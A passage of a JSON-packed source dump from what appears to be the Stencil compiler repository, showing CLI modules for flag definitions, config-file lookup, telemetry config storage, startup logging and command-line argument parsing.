false,\n  initializeNextTick: false,\n  asyncLoading: true,\n  asyncQueue: false,\n  // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove in 5.0\n  transformTagName: false,\n  attachStyles: true,\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  experimentalSlotFixes: false,\n};\n\nexport const Env = {};\n\nexport const NAMESPACE = /* default */ 'app' as string;\n"
  },
  {
    "path": "src/app-globals/index.ts",
    "content": "export const globalScripts = /* default */ () => {\n  /**/\n};\n\nexport const globalStyles = /* default */ '';\n"
  },
  {
    "path": "src/cli/check-version.ts",
    "content": "import { isFunction } from '@utils';\n\nimport type { ValidatedConfig } from '../declarations';\n\n/**\n * Retrieve a reference to the active `CompilerSystem`'s `checkVersion` function\n * @param config the Stencil configuration associated with the currently compiled project\n * @param currentVersion the Stencil compiler's version string\n * @returns a reference to `checkVersion`, or `null` if one does not exist on the current `CompilerSystem`\n */\nexport const startCheckVersion = async (\n  config: ValidatedConfig,\n  currentVersion: string,\n): Promise<(() => void) | null> => {\n  if (config.devMode && !config.flags.ci && !currentVersion.includes('-dev.') && isFunction(config.sys.checkVersion)) {\n    return config.sys.checkVersion(config.logger, currentVersion);\n  }\n  return null;\n};\n\n/**\n * Print the results of running the provided `versionChecker`.\n *\n * Does not print if no `versionChecker` is provided.\n *\n * @param versionChecker the function to invoke.\n */\nexport const printCheckVersionResults = async (versionChecker: Promise<(() => void) | null>): Promise<void> => {\n  if (versionChecker) {\n    const checkVersionResults = await versionChecker;\n    if (isFunction(checkVersionResults)) {\n      checkVersionResults();\n    }\n  }\n};\n"
  },
  {
    "path": "src/cli/config-flags.ts",
    "content": "import type { LogLevel, TaskCommand } from '@stencil/core/declarations';\n\n/**\n * All the Boolean options supported by the Stencil CLI\n */\nexport const BOOLEAN_CLI_FLAGS = [\n  'build',\n  'cache',\n  'checkVersion',\n  'ci',\n  'compare',\n  'debug',\n  'dev',\n  'devtools',\n  'docs',\n  // @deprecated - integrated testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584.\n  'e2e',\n  'es5',\n  'esm',\n  'help',\n  'log',\n  'open',\n  'prerender',\n  'prerenderExternal',\n  'prod',\n  'profile',\n  'serviceWorker',\n  // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584.\n  'screenshot',\n  'serve',\n  'skipNodeCheck',\n  // @deprecated - integrated testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584.\n  'spec',\n  'ssr',\n  // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584.\n  'updateScreenshot',\n  'verbose',\n  'version',\n  'watch',\n\n  // @deprecated - all JEST CLI options below are only used by integrated testing, which will be removed in Stencil v5.\n  // See https://github.com/stenciljs/core/issues/6584.\n  // JEST CLI OPTIONS\n  'all',\n  'automock',\n  'bail',\n  // 'cache', Stencil already supports this argument\n  'changedFilesWithAncestor',\n  // 'ci', Stencil already supports this argument\n  'clearCache',\n  'clearMocks',\n  'collectCoverage',\n  'color',\n  'colors',\n  'coverage',\n  // 'debug', Stencil already supports this argument\n  'detectLeaks',\n  'detectOpenHandles',\n  'errorOnDeprecated',\n  'expand',\n  'findRelatedTests',\n  'forceExit',\n  'init',\n  'injectGlobals',\n  'json',\n  'lastCommit',\n  'listTests',\n  'logHeapUsage',\n  'noStackTrace',\n  'notify',\n  'onlyChanged',\n  'onlyFailures',\n  'passWithNoTests',\n  'resetMocks',\n  'resetModules',\n  'restoreMocks',\n  'runInBand',\n  'runTestsByPath',\n  'showConfig',\n  'silent',\n  'skipFilter',\n  'testLocationInResults',\n  'updateSnapshot',\n  'useStderr',\n  // 'verbose', Stencil already supports this argument\n  // 'version', Stencil already supports this argument\n  // 'watch', Stencil already supports this argument\n  'watchAll',\n  'watchman',\n] as const;\n\n/**\n * All the Number options supported by the Stencil CLI\n */\nexport const NUMBER_CLI_FLAGS = [\n  'port',\n  // @deprecated - all JEST CLI args below are only used by integrated testing, which will be removed in Stencil v5.\n  // See https://github.com/stenciljs/core/issues/6584.\n  // JEST CLI ARGS\n  'maxConcurrency',\n  'testTimeout',\n] as const;\n\n/**\n * All the String options supported by the Stencil CLI\n */\nexport const STRING_CLI_FLAGS = [\n  'address',\n  'config',\n  'docsApi',\n  'docsJson',\n  'emulate',\n  'root',\n  // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584.\n  'screenshotConnector',\n\n  // @deprecated - all JEST CLI args below are only used by integrated testing, which will be removed in Stencil v5.\n  // See https://github.com/stenciljs/core/issues/6584.\n  // JEST CLI ARGS\n  'cacheDirectory',\n  'changedSince',\n  'collectCoverageFrom',\n  // 'config', Stencil already supports this argument\n  'coverageDirectory',\n  'coverageThreshold',\n  'env',\n  'filter',\n  'globalSetup',\n  'globalTeardown',\n  'globals',\n  'haste',\n  'moduleNameMapper',\n  'notifyMode',\n  'outputFile',\n  'preset',\n  'prettierPath',\n  'resolver',\n  'rootDir',\n  'runner',\n  'testEnvironment',\n  'testEnvironmentOptions',\n  'testFailureExitCode',\n  'testNamePattern',\n  'testResultsProcessor',\n  'testRunner',\n  'testSequencer',\n  'testURL',\n  'timers',\n  'transform',\n] as const;\n\n// @deprecated - all entries below are JEST CLI args only used by integrated testing, which will be removed in Stencil v5.\n// See https://github.com/stenciljs/core/issues/6584.\nexport const STRING_ARRAY_CLI_FLAGS = [\n  'collectCoverageOnlyFrom',\n  'coveragePathIgnorePatterns',\n  'coverageReporters',\n  'moduleDirectories',\n  'moduleFileExtensions',\n  'modulePathIgnorePatterns',\n  'modulePaths',\n  'projects',\n  'reporters',\n  'roots',\n  'selectProjects',\n  'setupFiles',\n  'setupFilesAfterEnv',\n  'snapshotSerializers',\n  'testMatch',\n  'testPathIgnorePatterns',\n  'testPathPattern',\n  'testRegex',\n  'transformIgnorePatterns',\n  'unmockedModulePathPatterns',\n  'watchPathIgnorePatterns',\n] as const;\n\n/**\n * All the CLI arguments which may have string or number values\n *\n * `maxWorkers` is an argument which is used both by Stencil _and_ by Jest,\n * which means that we need to support parsing both string and number values.\n */\nexport const STRING_NUMBER_CLI_FLAGS = ['maxWorkers'] as const;\n\n/**\n * All the CLI arguments which may have boolean or string values.\n */\nexport const BOOLEAN_STRING_CLI_FLAGS = [\n  /**\n   * `headless` is an argument passed through to Puppeteer (which is passed to Chrome) for end-to-end testing.\n   *\n   * {@see https://developer.chrome.com/blog/chrome-headless-shell/}\n   */\n  'headless',\n  /**\n   * `stats` is an argument that can optionally accept a file path where stats should be written.\n   * When used as a boolean (--stats), it defaults to 'stencil-stats.json'.\n   * When used with a path (--stats dist/stats.json), it writes to that path.\n   */\n  'stats',\n] as const;\n\n/**\n * All the LogLevel-type options supported by the Stencil CLI\n *\n * This is a bit silly since there's only one such argument atm,\n * but this approach lets us make sure that we're handling all\n * our arguments in a type-safe way.\n */\nexport const LOG_LEVEL_CLI_FLAGS = ['logLevel'] as const;\n\n/**\n * A type which gives the members of a `ReadonlyArray<string>` as\n * an enum-like type which can be used for e.g. keys in a `Record`\n * (as in the `AliasMap` type below)\n */\ntype ArrayValuesAsUnion<T extends ReadonlyArray<string>> = T[number];\n\nexport type BooleanCLIFlag = ArrayValuesAsUnion<typeof BOOLEAN_CLI_FLAGS>;\nexport type StringCLIFlag = ArrayValuesAsUnion<typeof STRING_CLI_FLAGS>;\nexport type StringArrayCLIFlag = ArrayValuesAsUnion<typeof STRING_ARRAY_CLI_FLAGS>;\nexport type NumberCLIFlag = ArrayValuesAsUnion<typeof NUMBER_CLI_FLAGS>;\nexport type StringNumberCLIFlag = ArrayValuesAsUnion<typeof STRING_NUMBER_CLI_FLAGS>;\nexport type BooleanStringCLIFlag = ArrayValuesAsUnion<typeof BOOLEAN_STRING_CLI_FLAGS>;\nexport type LogCLIFlag = ArrayValuesAsUnion<typeof LOG_LEVEL_CLI_FLAGS>;\n\nexport type KnownCLIFlag =\n  | BooleanCLIFlag\n  | StringCLIFlag\n  | StringArrayCLIFlag\n  | NumberCLIFlag\n  | StringNumberCLIFlag\n  | BooleanStringCLIFlag\n  | LogCLIFlag;\n\ntype AliasMap = Partial<Record<string, KnownCLIFlag>>;\n\n/**\n * For a small subset of CLI options we support a short alias e.g. `'h'` for `'help'`\n */\nexport const CLI_FLAG_ALIASES: AliasMap = {\n  c: 'config',\n  h: 'help',\n  p: 'port',\n  v: 'version',\n\n  // JEST SPECIFIC CLI FLAGS\n  // these are defined in\n  // https://github.com/facebook/jest/blob/4156f86/packages/jest-cli/src/args.ts\n  b: 'bail',\n  e: 'expand',\n  f: 'onlyFailures',\n  i: 'runInBand',\n  o: 'onlyChanged',\n  t: 'testNamePattern',\n  u: 'updateSnapshot',\n  w: 'maxWorkers',\n};\n\n/**\n * A regular expression which can be used to match a CLI flag for one of our\n * short aliases.\n */\nexport const CLI_FLAG_REGEX = new RegExp(`^-[chpvbewofitu]{1}$`);\n\n/**\n * Given two types `K` and `T` where `K` extends `ReadonlyArray<string>`,\n * construct a type which maps the strings in `K` as keys to values of type `T`.\n *\n * Because we use types derived this way to construct an interface (`ConfigFlags`)\n * for which we want optional keys, we make all the properties optional (w/ `'?'`)\n * and possibly null.\n */\ntype ObjectFromKeys<K extends ReadonlyArray<string>, T> = {\n  [key in K[number]]?: T | null;\n};\n\n/**\n * Type containing the possible Boolean configuration flags, to be included\n * in ConfigFlags, below\n */\ntype BooleanConfigFlags = ObjectFromKeys<typeof BOOLEAN_CLI_FLAGS, boolean>;\n\n/**\n * Type containing the possible String configuration flags, to be included\n * in ConfigFlags, below\n */\ntype StringConfigFlags = ObjectFromKeys<typeof STRING_CLI_FLAGS, string>;\n\n/**\n * Type containing the possible String Array configuration flags. This is\n * one of the 'constituent types' for `ConfigFlags`.\n */\ntype StringArrayConfigFlags = ObjectFromKeys<typeof STRING_ARRAY_CLI_FLAGS, string[]>;\n\n/**\n * Type containing the possible numeric configuration flags, to be included\n * in ConfigFlags, below\n */\ntype NumberConfigFlags = ObjectFromKeys<typeof NUMBER_CLI_FLAGS, number>;\n\n/**\n * Type containing the configuration flags which may be set to either string\n * or number values.\n */\ntype StringNumberConfigFlags = ObjectFromKeys<typeof STRING_NUMBER_CLI_FLAGS, string | number>;\n\n/**\n * Type containing the configuration flags which may be set to either string\n * or boolean values.\n */\ntype BooleanStringConfigFlags = ObjectFromKeys<typeof BOOLEAN_STRING_CLI_FLAGS, boolean | string>;\n\n/**\n * Type containing the possible LogLevel configuration flags, to be included\n * in ConfigFlags, below\n */\ntype LogLevelFlags = ObjectFromKeys<typeof LOG_LEVEL_CLI_FLAGS, LogLevel>;\n\n/**\n * The configuration flags which can be set by the user on the command line.\n * This interface captures both known arguments (which are enumerated and then\n * parsed according to their types) and unknown arguments which the user may\n * pass at the CLI.\n *\n * Note that this interface is constructed by extending `BooleanConfigFlags`,\n * `StringConfigFlags`, etc. These types are in turn constructed from types\n * extending `ReadonlyArray<string>` which we declare in another module. This\n * allows us to record our known CLI arguments in one place, using a\n * `ReadonlyArray<string>` to get both a type-level representation of what CLI\n * options we support and a runtime list of strings which can be used to match\n * on actual flags passed by the user.\n */\nexport interface ConfigFlags\n  extends BooleanConfigFlags,\n    StringConfigFlags,\n    StringArrayConfigFlags,\n    NumberConfigFlags,\n    StringNumberConfigFlags,\n    BooleanStringConfigFlags,\n    LogLevelFlags {\n  task: TaskCommand | null;\n  args: string[];\n  knownArgs: string[];\n  unknownArgs: string[];\n}\n\n/**\n * Helper function for initializing a `ConfigFlags` object. Provide any overrides\n * for default values and off you go!\n *\n * @param init an object with any overrides for default values\n * @returns a complete CLI flag object\n */\nexport const createConfigFlags = (init: Partial<ConfigFlags> = {}): ConfigFlags => {\n  const flags: ConfigFlags = {\n    task: null,\n    args: [],\n    knownArgs: [],\n    unknownArgs: [],\n    ...init,\n  };\n\n  return flags;\n};\n"
  },
  {
    "path": "src/cli/find-config.ts",
    "content": "import { buildError, isString, normalizePath, result } from '@utils';\n\nimport type { CompilerSystem, Diagnostic } from '../declarations';\n\n/**\n * An object containing the {@link CompilerSystem} used to find the configuration file, as well as the location on disk\n * to search for a Stencil configuration\n */\nexport type FindConfigOptions = {\n  sys: CompilerSystem;\n  configPath?: string | null;\n};\n\n/**\n * The results of attempting to find a Stencil configuration file on disk\n */\nexport type FindConfigResults = {\n  configPath: string;\n  rootDir: string;\n};\n\n/**\n * Attempt to find a Stencil configuration file on the file system\n * @param opts the options needed to find the configuration file\n * @returns the results of attempting to find a configuration file on disk\n */\nexport const findConfig = async (opts: FindConfigOptions): Promise<result.Result<FindConfigResults, Diagnostic[]>> => {\n  const sys = opts.sys;\n  const cwd = sys.getCurrentDirectory();\n  const rootDir = normalizePath(cwd);\n\n  let configPath = opts.configPath;\n\n  if (isString(configPath)) {\n    if (!sys.platformPath.isAbsolute(configPath)) {\n      // passed in a custom stencil config location,\n      // but it's relative, so prefix the cwd\n      configPath = normalizePath(sys.platformPath.join(cwd, configPath));\n    } else {\n      // config path already an absolute path, we're good here\n      configPath = normalizePath(configPath);\n    }\n  } else {\n    // nothing was passed in, use the current working directory\n    configPath = rootDir;\n  }\n\n  const results: FindConfigResults = {\n    configPath,\n    rootDir: normalizePath(cwd),\n  };\n\n  const stat = await sys.stat(configPath);\n  if (stat.error) {\n    const diagnostics: Diagnostic[] = [];\n    const diagnostic = buildError(diagnostics);\n    diagnostic.absFilePath = configPath;\n    diagnostic.header = `Invalid config path`;\n    diagnostic.messageText = `Config path \"${configPath}\" not found`;\n    return result.err(diagnostics);\n  }\n\n  if (stat.isFile) {\n    results.configPath = configPath;\n    results.rootDir = sys.platformPath.dirname(configPath);\n  } else if (stat.isDirectory) {\n    // this is only a directory, so let's make some assumptions\n    for (const configName of ['stencil.config.ts', 'stencil.config.js']) {\n      const testConfigFilePath = sys.platformPath.join(configPath, configName);\n      const stat = await sys.stat(testConfigFilePath);\n      if (stat.isFile) {\n        results.configPath = testConfigFilePath;\n        results.rootDir = sys.platformPath.dirname(testConfigFilePath);\n        break;\n      }\n    }\n  }\n\n  return result.ok(results);\n};\n"
  },
  {
    "path": "src/cli/index.ts",
    "content": "export { BOOLEAN_CLI_FLAGS, ConfigFlags } from './config-flags';\nexport { parseFlags } from './parse-flags';\nexport { run, runTask } from './run';\n"
  },
  {
    "path": "src/cli/ionic-config.ts",
    "content": "import type * as d from '../declarations';\nimport { readJson, UUID_REGEX, uuidv4 } from './telemetry/helpers';\n\nexport const isTest = () => process.env.JEST_WORKER_ID !== undefined;\n\nexport const defaultConfig = (sys: d.CompilerSystem) =>\n  sys.resolvePath(`${sys.homeDir()}/.ionic/${isTest() ? 'tmp-config.json' : 'config.json'}`);\n\nexport const defaultConfigDirectory = (sys: d.CompilerSystem) => sys.resolvePath(`${sys.homeDir()}/.ionic`);\n\n/**\n * Reads an Ionic configuration file from disk, parses it, and performs any necessary corrections to it if certain\n * values are deemed to be malformed\n * @param sys The system where the command is invoked\n * @returns the config read from disk that has been potentially been updated\n */\nexport async function readConfig(sys: d.CompilerSystem): Promise<d.TelemetryConfig> {\n  let config: d.TelemetryConfig = await readJson(sys, defaultConfig(sys));\n\n  if (!config) {\n    config = {\n      'tokens.telemetry': uuidv4(),\n      'telemetry.stencil': true,\n    };\n\n    await writeConfig(sys, config);\n  } else if (!config['tokens.telemetry'] || !UUID_REGEX.test(config['tokens.telemetry'])) {\n    const newUuid = uuidv4();\n    await writeConfig(sys, { ...config, 'tokens.telemetry': newUuid });\n    config['tokens.telemetry'] = newUuid;\n  }\n\n  return config;\n}\n\n/**\n * Writes an Ionic configuration file to disk.\n * @param sys The system where the command is invoked\n * @param config The config passed into the Stencil command\n * @returns boolean If the command was successful\n */\nexport async function writeConfig(sys: d.CompilerSystem, config: d.TelemetryConfig): Promise<boolean> {\n  let result = false;\n  try {\n    await sys.createDir(defaultConfigDirectory(sys), { recursive: true });\n    await sys.writeFile(defaultConfig(sys), JSON.stringify(config, null, 2));\n    result = true;\n  } catch (error) {\n    console.error(`Stencil Telemetry: couldn't write configuration file to ${defaultConfig(sys)} - ${error}.`);\n  }\n\n  return result;\n}\n\n/**\n * Update a subset of the Ionic config.\n * @param sys The system where the command is invoked\n * @param newOptions The new options to save\n * @returns boolean If the command was successful\n */\nexport async function updateConfig(sys: d.CompilerSystem, newOptions: d.TelemetryConfig): Promise<boolean> {\n  const config = await readConfig(sys);\n  return await writeConfig(sys, Object.assign(config, newOptions));\n}\n"
  },
  {
    "path": "src/cli/load-compiler.ts",
    "content": "import type { CompilerSystem } from '../declarations';\n\nexport const loadCoreCompiler = async (sys: CompilerSystem): Promise<CoreCompiler> => {\n  return await sys.dynamicImport!(sys.getCompilerExecutingPath());\n};\n\nexport type CoreCompiler = typeof import('@stencil/core/compiler');\n"
  },
  {
    "path": "src/cli/logs.ts",
    "content": "import type { CompilerSystem, Logger, TaskCommand, ValidatedConfig } from '../declarations';\nimport type { ConfigFlags } from './config-flags';\nimport type { CoreCompiler } from './load-compiler';\n\n/**\n * Log the name of this package (`@stencil/core`) to an output stream\n *\n * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function\n *\n * The name of the package may not be logged, by design, for certain `task` types and logging levels\n *\n * @param logger the logging entity to use to output the name of the package\n * @param task the current task\n */\nexport const startupLog = (logger: Logger, task: TaskCommand): void => {\n  if (task === 'info' || task === 'serve' || task === 'version') {\n    return;\n  }\n\n  logger.info(logger.cyan(`@stencil/core`));\n};\n\n/**\n * Log this package's version to an output stream\n *\n * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function\n *\n * The package version may not be logged, by design, for certain `task` types and logging levels\n *\n * @param logger the logging entity to use for output\n * @param task the current task\n * @param coreCompiler the compiler instance to derive version information from\n */\nexport const startupLogVersion = (logger: Logger, task: TaskCommand, coreCompiler: CoreCompiler): void => {\n  if (task === 'info' || task === 'serve' || task === 'version') {\n    return;\n  }\n  const isDevBuild = coreCompiler.version.includes('-dev.');\n\n  let startupMsg: string;\n\n  if (isDevBuild) {\n    startupMsg = logger.yellow(`[LOCAL DEV] v${coreCompiler.version}`);\n  } else {\n    startupMsg = logger.cyan(`v${coreCompiler.version}`);\n  }\n  startupMsg += logger.emoji(' ' + coreCompiler.vermoji);\n\n  logger.info(startupMsg);\n};\n\n/**\n * Log details from a {@link CompilerSystem} used by Stencil to an output stream\n *\n * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function\n *\n * @param sys the `CompilerSystem` to report details on\n * @param logger the logging entity to use for output\n * @param flags user set flags for the current invocation of Stencil\n * @param coreCompiler the compiler instance being used for this invocation of Stencil\n */\nexport const loadedCompilerLog = (\n  sys: CompilerSystem,\n  logger: Logger,\n  flags: ConfigFlags,\n  coreCompiler: CoreCompiler,\n): void => {\n  const sysDetails = sys.details;\n  const runtimeInfo = `${sys.name} ${sys.version}`;\n\n  const platformInfo = sysDetails\n    ? `${sysDetails.platform}, ${sysDetails.cpuModel}`\n    : `Unknown Platform, Unknown CPU Model`;\n  const statsInfo = sysDetails\n    ? `cpus: ${sys.hardwareConcurrency}, freemem: ${Math.round(\n        sysDetails.freemem() / 1000000,\n      )}MB, totalmem: ${Math.round(sysDetails.totalmem / 1000000)}MB`\n    : 'Unknown CPU Core Count, Unknown Memory';\n\n  if (logger.getLevel() === 'debug') {\n    logger.debug(runtimeInfo);\n    logger.debug(platformInfo);\n    logger.debug(statsInfo);\n    logger.debug(`compiler: ${sys.getCompilerExecutingPath()}`);\n    logger.debug(`build: ${coreCompiler.buildId}`);\n  } else if (flags.ci) {\n    logger.info(runtimeInfo);\n    logger.info(platformInfo);\n    logger.info(statsInfo);\n  }\n};\n\n/**\n * Log various warnings to an output stream\n *\n * The output stream is determined by the {@link Logger} instance attached to the `config` argument to this function\n *\n * @param coreCompiler the compiler instance being used for this invocation of Stencil\n * @param config a validated configuration object to be used for this run of Stencil\n */\nexport const startupCompilerLog = (coreCompiler: CoreCompiler, config: ValidatedConfig) => {\n  if (config.suppressLogs === true) {\n    return;\n  }\n\n  const { logger } = config;\n  const isDebug = logger.getLevel() === 'debug';\n  const isPrerelease = coreCompiler.version.includes('-');\n  const isDevBuild = coreCompiler.version.includes('-dev.');\n\n  if (isPrerelease && !isDevBuild) {\n    logger.warn(\n      logger.yellow(\n        `This is a prerelease build, undocumented changes might happen at any time. Technical support is not available for prereleases, but any assistance testing is appreciated.`,\n      ),\n    );\n  }\n\n  if (config.devMode && !isDebug) {\n    if (config.buildEs5) {\n      logger.warn(\n        `Generating ES5 during development is a very task expensive, initial and incremental builds will be much slower. Drop the '--es5' flag and use a modern browser for development.`,\n      );\n    }\n\n    if (!config.enableCache) {\n      logger.warn(`Disabling cache during development will slow down incremental builds.`);\n    }\n  }\n};\n"
  },
  {
    "path": "src/cli/parse-flags.ts",
    "content": "import { readOnlyArrayHasStringMember, toCamelCase } from '@utils';\n\nimport { LOG_LEVELS, LogLevel, TaskCommand } from '../declarations';\nimport {\n  BOOLEAN_CLI_FLAGS,\n  BOOLEAN_STRING_CLI_FLAGS,\n  CLI_FLAG_ALIASES,\n  CLI_FLAG_REGEX,\n  ConfigFlags,\n  createConfigFlags,\n  LOG_LEVEL_CLI_FLAGS,\n  NUMBER_CLI_FLAGS,\n  STRING_ARRAY_CLI_FLAGS,\n  STRING_CLI_FLAGS,\n  STRING_NUMBER_CLI_FLAGS,\n} from './config-flags';\n\n/**\n * Parse command line arguments into a structured `ConfigFlags` object\n *\n * @param args an array of CLI flags\n * @returns a structured ConfigFlags object\n */\nexport const parseFlags = (args: string[]): ConfigFlags => {\n  const flags: ConfigFlags = createConfigFlags();\n\n  // cmd line has more priority over npm scripts cmd\n  flags.args = Array.isArray(args) ? args.slice() : [];\n  if (flags.args.length > 0 && flags.args[0] && !flags.args[0].startsWith('-')) {\n    flags.task = flags.args[0] as TaskCommand;\n    // if the first argument was a \"task\" (like `build`, `test`, etc) then\n    // we go on to parse the _rest_ of the CLI args\n    parseArgs(flags, args.slice(1));\n  } else {\n    // we didn't find a leading flag, so we should just parse them all\n    parseArgs(flags, flags.args);\n  }\n\n  if (flags.task != null) {\n    const i = flags.args.indexOf(flags.task);\n    if (i > -1) {\n      flags.args.splice(i, 1);\n    }\n  }\n\n  return flags;\n};\n\n/**\n * Parse the supported command line flags which are enumerated in the\n * `config-flags` module. Handles leading dashes on arguments, aliases that are\n * defined for a small number of arguments, and parsing values for non-boolean\n * arguments (e.g. port number for the dev server).\n *\n * This parses the following grammar:\n *\n * CLIArguments    → \"\"\n *                 | CLITerm ( \" \" CLITerm )* ;\n * CLITerm         → EqualsArg\n *                 | AliasEqualsArg\n *                 | AliasArg\n *                 | NegativeDashArg\n *                 | NegativeArg\n *                 | SimpleArg ;\n * EqualsArg       → \"--\" ArgName \"=\" CLIValue ;\n * AliasEqualsArg  → \"-\" AliasName \"=\" CLIValue ;\n * AliasArg        → \"-\" AliasName ( \" \" CLIValue )? ;\n * NegativeDashArg → \"--no-\" ArgName ;\n * NegativeArg     → \"--no\" ArgName ;\n * SimpleArg       → \"--\" ArgName ( \" \" CLIValue )? ;\n * ArgName         → /^[a-zA-Z-]+$/ ;\n * AliasName       → /^[a-z]{1}$/ ;\n * CLIValue        → '\"' /^[a-zA-Z0-9]+$/ '\"'\n *                 | /^[a-zA-Z0-9]+$/ ;\n *\n * There are additional constraints (not shown in the grammar for brevity's sake)\n * on the type of `CLIValue` which will be associated with a particular argument.\n * We enforce this by declaring lists of boolean, string, etc arguments and\n * checking the types of values before setting them.\n *\n * We don't need to turn the list of CLI arg tokens into any kind of\n * intermediate representation since we aren't concerned with doing anything\n * other than setting the correct values on our ConfigFlags object. So we just\n * parse the array of string arguments using a recursive-descent approach\n * (which is not very deep since our grammar is pretty simple) and make the\n * modifications we need to make to the {@link ConfigFlags} object as we go.\n *\n * @param flags a ConfigFlags object to which parsed arguments will be added\n * @param args  an array of command-line arguments to parse\n */\nconst parseArgs = (flags: ConfigFlags, args: string[]) => {\n  const argsCopy = args.concat();\n  while (argsCopy.length > 0) {\n    // there are still unprocessed args to deal with\n    parseCLITerm(flags, argsCopy);\n  }\n};\n\n/**\n * Given an array of CLI arguments, parse it and perform a series of side\n * effects (setting values on the provided `ConfigFlags` object).\n *\n * @param flags a {@link ConfigFlags} object which is updated as we parse the CLI\n * arguments\n * @param args a list of args to work through. This function (and some functions\n * it calls) calls `Array.prototype.shift` to get the next argument to look at,\n * so this parameter will be modified.\n */\nconst parseCLITerm = (flags: ConfigFlags, args: string[]) => {\n  // pull off the first arg from the argument array\n  const arg = args.shift();\n\n  // array is empty, we're done!\n  if (arg === undefined) return;\n\n  // capture whether this is a special case of a negated boolean or boolean-string before we start to test each case\n  const isNegatedBoolean =\n    !readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizeFlagName(arg)) &&\n    readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizeNegativeFlagName(arg));\n  const isNegatedBooleanOrString =\n    !readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizeFlagName(arg)) &&\n    readOnlyArrayHasStringMember(BOOLEAN_STRING_CLI_FLAGS, normalizeNegativeFlagName(arg));\n\n  // EqualsArg → \"--\" ArgName \"=\" CLIValue ;\n  if (arg.startsWith('--') && arg.includes('=')) {\n    // we're dealing with an EqualsArg, we have a special helper for that\n    const [originalArg, value] = parseEqualsArg(arg);\n    setCLIArg(flags, arg.split('=')[0], normalizeFlagName(originalArg), value);\n  }\n\n  // AliasEqualsArg  → \"-\" AliasName \"=\" CLIValue ;\n  else if (arg.startsWith('-') && arg.includes('=')) {\n    // we're dealing with an AliasEqualsArg, we have a special helper for that\n    const [originalArg, value] = parseEqualsArg(arg);\n    setCLIArg(flags, desugarRawAlias(originalArg), normalizeFlagName(originalArg), value);\n  }\n\n  // AliasArg → \"-\" AliasName ( \" \" CLIValue )? ;\n  else if (CLI_FLAG_REGEX.test(arg)) {\n    // this is a short alias, like `-c` for Config\n    setCLIArg(flags, desugarRawAlias(arg), normalizeFlagName(arg), parseCLIValue(args));\n  }\n\n  // NegativeDashArg → \"--no-\" ArgName ;\n  else if (arg.startsWith('--no-') && arg.length > '--no-'.length) {\n    // this is a `NegativeDashArg` term, so we need to normalize the negative\n    // flag name and then set an appropriate value\n    const normalized = normalizeNegativeFlagName(arg);\n    setCLIArg(flags, arg, normalized, '');\n  }\n\n  // NegativeArg → \"--no\" ArgName ;\n  else if (arg.startsWith('--no') && (isNegatedBoolean || isNegatedBooleanOrString)) {\n    // possibly dealing with a `NegativeArg` here. There is a little ambiguity\n    // here because we have arguments that already begin with `no` like\n    // `notify`, so we need to test if a normalized form of the raw argument is\n    // a valid and supported boolean flag.\n    setCLIArg(flags, arg, normalizeNegativeFlagName(arg), '');\n  }\n\n  // SimpleArg → \"--\" ArgName ( \" \" CLIValue )? ;\n  else if (arg.startsWith('--') && arg.length > '--'.length) {\n    setCLIArg(flags, arg, normalizeFlagName(arg), parseCLIValue(args));\n  } else {\n    // if we get here then `arg` is not an argument in our list of supported\n    // arguments. This doesn't necessarily mean we want to report an error or\n    // anything though! Instead, with unknown / unrecognized arguments we want\n    // to stick them into the `unknownArgs` array, which is used when we pass\n    // CLI args to Jest, for instance.\n    flags.unknownArgs.push(arg);\n  }\n};\n\n/**\n * Normalize a 'negative' flag name, just to do a little pre-processing before\n * we pass it to {@link setCLIArg}.\n *\n * @param flagName the flag name to normalize\n * @returns a normalized flag name\n */\nconst normalizeNegativeFlagName = (flagName: string): string => {\n  const trimmed = flagName.replace(/^--no[-]?/, '');\n  return normalizeFlagName(trimmed.charAt(0).toLowerCase() + trimmed.slice(1));\n};\n\n/**\n * Normalize a flag name by:\n *\n * - replacing any leading dashes (`--foo` -> `foo`)\n * - converting `dash-case` to camelCase (if necessary)\n *\n * Normalizing in this context basically means converting the various\n * supported flag spelling variants to the variant defined in our lists of\n * supported arguments (e.g. BOOLEAN_CLI_FLAGS, etc). So, for instance,\n * `--log-level` should be converted to `logLevel`.\n *\n * @param flagName the flag name to normalize\n * @returns a normalized flag name\n *\n */\nconst normalizeFlagName = (flagName: string): string => {\n  const trimmed = flagName.replace(/^-+/, '');\n  return trimmed.includes('-') ? toCamelCase(trimmed) : trimmed;\n};\n\n/**\n * Set a value on a provided {@link ConfigFlags} object, given an argument\n * name and a raw string value. This function dispatches to other functions\n * which make sure that the string value can be properly parsed into a JS\n * runtime value of the right type (e.g. number, string, etc).\n *\n * @throws if a value cannot be parsed to the right type for a given flag\n * @param flags a {@link ConfigFlags} object\n * @param rawArg the raw argument name matched by the parser\n * @param normalizedArg an argument with leading control characters (`--`,\n * `--no-`, etc) removed\n * @param value the raw value to be set onto the config flags object\n */\nconst setCLIArg = (flags: ConfigFlags, rawArg: string, normalizedArg: string, value: CLIValueResult) => {\n  normalizedArg = desugarAlias(normalizedArg);\n\n  // We're setting a boolean!\n  if (readOnlyArrayHasStringMember(BOOLEAN_CLI_FLAGS, normalizedArg)) {\n    const parsed =\n      typeof value === 'string'\n        ? // check if the value is `'true'`\n          value === 'true'\n        : // no value was supplied, default to true\n          true;\n\n    flags[normalizedArg] = parsed;\n    flags.knownArgs.push(rawArg);\n\n    if (typeof value === 'string' && value !== '') {\n      flags.knownArgs.push(value);\n    }\n  }\n\n  // We're setting a string!\n  else if (readOnlyArrayHasStringMember(STRING_CLI_FLAGS, normalizedArg)) {\n    if (typeof value === 'string') {\n      flags[normalizedArg] = value;\n      flags.knownArgs.push(rawArg);\n      flags.knownArgs.push(value);\n    } else {\n      throwCLIParsingError(rawArg, 'expected a string argument but received nothing');\n    }\n  }\n\n  // We're setting a string, but it's one where the user can pass multiple values,\n  // like `--reporters=\"default\" 